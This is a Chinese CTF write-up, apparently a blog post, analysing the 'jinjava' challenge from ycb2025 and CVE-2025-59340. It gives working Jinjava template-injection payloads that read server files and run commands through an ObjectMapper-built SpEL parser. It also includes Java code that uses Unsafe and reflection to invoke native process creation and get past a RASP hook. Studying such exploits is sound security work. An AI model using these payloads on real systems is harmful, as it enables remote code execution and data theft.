ycb2025-jinjava
ycb2025 - jinjava
前言
没打,主要还是没人叫我打(呜呜),赛后看的小登的文档,还是小登这些超兴星强啊,我就属于纯废物了
大概看了下,web题虽然多,但是感觉挺多都是中低难度,感觉不是很有意义,不懂
看到unknown
没有做出jinjava,那就看一下吧
这题有多少人做出来啊,有没有大佬
jinjava
小登已有信息
https://cve.imfht.com/detail/CVE-2025-59340
https://cvepdf.imfht.com:2443//ti_screenshot/2025-09-18/webpage-2025-09-18T16-34-57.641Z-93ab43dda05cf6f01694.pdf
{% set mapper = ____int3rpr3t3r____.config.objectMapper %}
{{ mapper.enableDefaultTyping() }}
{% set file = mapper.readValue('"file:///app/"',
mapper.getTypeFactory().constructFromCanonical('java.net.URL')) %}
{% set inputStream = file.openStream() %}
{% set bytes = inputStream.readAllBytes() %}
{% set stringType =
mapper.getTypeFactory().constructFromCanonical('java.lang.String')
%}
{% set content = mapper.convertValue(bytes, stringType) %}
{{ content }}
接下来想办法rce,有/readflag
RASP
有一个RASP,看了一下直接一眼顶真,利用前缀进行绕过
然后细看逻辑好像有点问题
1
好像只禁用了System.load方法,可以往更底层去调用
2
虽然把命令执行较底层类的native方法hook了,但其实根本没啥作用,因为javassist没办法对这些native函数的内容进行修改
尝试写个命令执行的demo
Field unsafeField = Unsafe.class.getDeclaredField("theUnsafe");
unsafeField.setAccessible(true);
Unsafe unsafe = (Unsafe) unsafeField.get(null);
Class<?> clazz = Class.forName("java.lang.ProcessImpl");
Object o = unsafe.allocateInstance(clazz);
Method createMethod = clazz.getDeclaredMethod("create", String.class, String.class, String.class, long[].class, boolean.class);
Class cureentClass = test.class;
unsafe.getAndSetObject(cureentClass,unsafe.objectFieldOffset(Class.class.getDeclaredField("module")),Object.class.getModule());
createMethod.setAccessible(true);
createMethod.invoke(null,
"calc",
null,
null,
new long[]{-1L,-1L,-1L},
false);
所以正常反射底层即可,实在不行就用一眼丁真的前缀绕就行
rce
刚开始没看这是啥漏洞,就看了眼RASP还以为这么容易,然后问了下unknown卡在哪里,他说都还没法RCE
然后看了下漏洞描述,发现mapper.readValue
是可以任意构造对象的啊,但是好像只能弄String的构造函数
然后就疯狂拷打ai,帮我构造,这sb ai老是乱给,纯纯添乱
比如我想要构造Runtime对象,但Runtime是单例无法通过mapper.readValue创建对象,但是他还是给了我代码。。。。
最后还是看着这个ObjectMapper看着实在眼熟,找到以前看过的文章,可以创建spel表达式进行rce
{% set mapper = ____int3rpr3t3r____.config.objectMapper %}
{{ mapper.enableDefaultTyping() }}
{% set classClass = mapper.getTypeFactory().constructFromCanonical('org.springframework.expression.spel.standard.SpelExpressionParser') %}
{% set runtimeClass = mapper.readValue('{}', classClass) %}
{% set sp = runtimeClass.parseExpression("T(java.lang.Runtime).getRuntime().exec('calc')")%}
{% set result = sp.getValue()%}
然后不知道这题的环境,大概率是不出网的,需要打内存马
涉及到jdk17注入内存马,这就不说了
随便一个类加载命令执行就行
大概就是这样
复现
就不在linux下完整复原题目环境了,涉及到linux下的jdk的类
直接windows本机跑
准备一个类,ProcessImpl的create是底层的native方法
提示拦截,但仍能弹计算机,这就跟分析的一模一样了,javassist对native函数没有影响
要复现题目的用UnixProcess的forkAndExec执行/readflag > /tmp/1.txt
然后配合最开始的payload读取即可
结束
整体看起来还是有难度的,对我这种给脑子不灵光的就只会问ai,导致rce部分看了很久
rasp的接触过就还是比较容易的
我是废物,前途黑暗啊,有没有大哥带带我(呜呜呜呜